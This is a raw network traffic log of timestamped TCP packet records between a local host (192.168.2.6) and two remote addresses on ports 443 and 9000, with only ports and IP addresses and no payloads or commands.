Jul 25, 2024 13:23:43.032371044 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.032391071 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.032402992 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:43.032409906 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:43.174885035 CEST	9000	49713	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:43.176414967 CEST	49713	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:43.182284117 CEST	9000	49713	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:47.055744886 CEST	49713	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:47.065818071 CEST	9000	49713	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:55.030575991 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:55.035523891 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:55.035604000 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:55.035653114 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:55.040503025 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:55.937793016 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:55.937839985 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:55.937870026 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:55.937889099 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:55.937901020 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:55.937922955 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:55.937942028 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:55.991409063 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.159015894 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.159054995 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.159069061 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.159085989 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.159097910 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.159107924 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.159116030 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.159132957 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.159138918 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.159184933 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.159190893 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.159226894 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.159600019 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.210052967 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.377507925 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.377523899 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.377547026 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.377648115 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.377665997 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.377676964 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.377727032 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.378145933 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.378155947 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.378175020 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.378196955 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.378221035 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.378304958 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.378314972 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.378355980 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.378998041 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.379059076 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.379070044 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.379101038 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.428890944 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.595422983 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595443964 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595469952 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595479965 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595500946 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595510006 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595530033 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595541000 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.595558882 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595572948 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595590115 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595596075 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.595612049 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.595628023 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.595843077 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595866919 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595877886 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.595906973 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.595990896 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.596004963 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.596036911 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.596678019 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.596718073 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.596796989 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.597039938 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.597080946 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.811788082 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.811920881 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.811970949 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.812007904 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812078953 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812138081 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.812165976 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812213898 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812261105 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812305927 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812328100 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.812371969 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812417984 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.812438965 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812505007 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.812640905 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812678099 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812863111 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812886000 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.812948942 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.812995911 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.813015938 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.813070059 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.813132048 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.813410044 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.813499928 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.813551903 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.813570023 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.813653946 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.813704014 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.813726902 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.816869974 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.816925049 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.816999912 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.817051888 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.817111015 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.817126036 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:56.817176104 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:56.817337990 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.030050039 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030102968 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030117989 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030195951 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.030360937 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030422926 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030438900 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030456066 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030538082 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.030806065 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030849934 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.030905008 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030920029 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.030951977 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.031263113 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.031277895 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.031316042 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.031688929 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.031701088 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.031738043 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.031979084 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.032073975 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.032085896 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.032109022 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.032177925 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.032191038 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.032208920 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.032217026 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.032232046 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.032249928 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.036025047 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036050081 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036063910 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036072016 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.036094904 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.036170006 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036180973 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036185980 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036191940 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036236048 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.036259890 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.036556005 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036609888 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036631107 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036643028 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.036694050 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036716938 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036734104 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.036741018 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036753893 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.036772966 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.037280083 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.037317038 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.037338972 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.037542105 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.037552118 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.037573099 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.037580967 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.037595034 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.037611961 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.085127115 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.248843908 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.248891115 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.248907089 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.248953104 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.248965025 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.248980045 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.249000072 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249017000 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.249032974 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.249070883 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249082088 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249105930 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249119997 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.249129057 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249162912 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.249191046 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249273062 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249289036 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249310970 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.249360085 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249372005 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249392033 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249399900 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.249425888 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.249741077 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249764919 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249780893 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249803066 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.249891996 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249903917 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.249938965 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.262542963 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262583017 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262607098 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262625933 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.262649059 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.262680054 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262708902 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262727022 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262748003 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.262759924 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262800932 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.262816906 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262835026 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262861013 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262876987 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.262891054 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262931108 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.262938976 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.262983084 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.263001919 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.263020992 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.263034105 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.263084888 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.263632059 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.264046907 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.264069080 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.264081001 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.264102936 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.264133930 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.264174938 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.264187098 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.264230967 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.265068054 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.265114069 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.265129089 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.265162945 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.265175104 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.265186071 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.265221119 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.266129971 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266180992 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.266204119 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266216040 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266277075 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.266284943 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266295910 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266335964 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.266422033 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266432047 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266450882 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266477108 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.266498089 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266509056 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266529083 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.266535044 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.266622066 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.274983883 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.275002003 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.275027990 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.275063038 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.275103092 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.275115967 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.275141001 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.275150061 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.275162935 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.275183916 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.319591999 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.339009047 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.381932020 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.469857931 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.469893932 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.469916105 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.469938993 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.469952106 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.469969988 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.469988108 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470006943 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.470022917 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470035076 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470057011 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470066071 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.470079899 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470088005 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.470113039 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470132113 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470146894 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.470160961 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470171928 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470205069 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.470319033 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470352888 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.470383883 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470436096 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470447063 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470468998 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.470628977 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.470674038 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.473829985 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.473856926 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.473870993 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.473920107 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.474087000 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.474098921 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.474116087 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.474126101 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.474158049 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.477472067 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.477540970 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.477555990 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.477576971 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.477585077 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.477598906 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.477611065 CEST	9000	49722	216.224.127.6	192.168.2.6
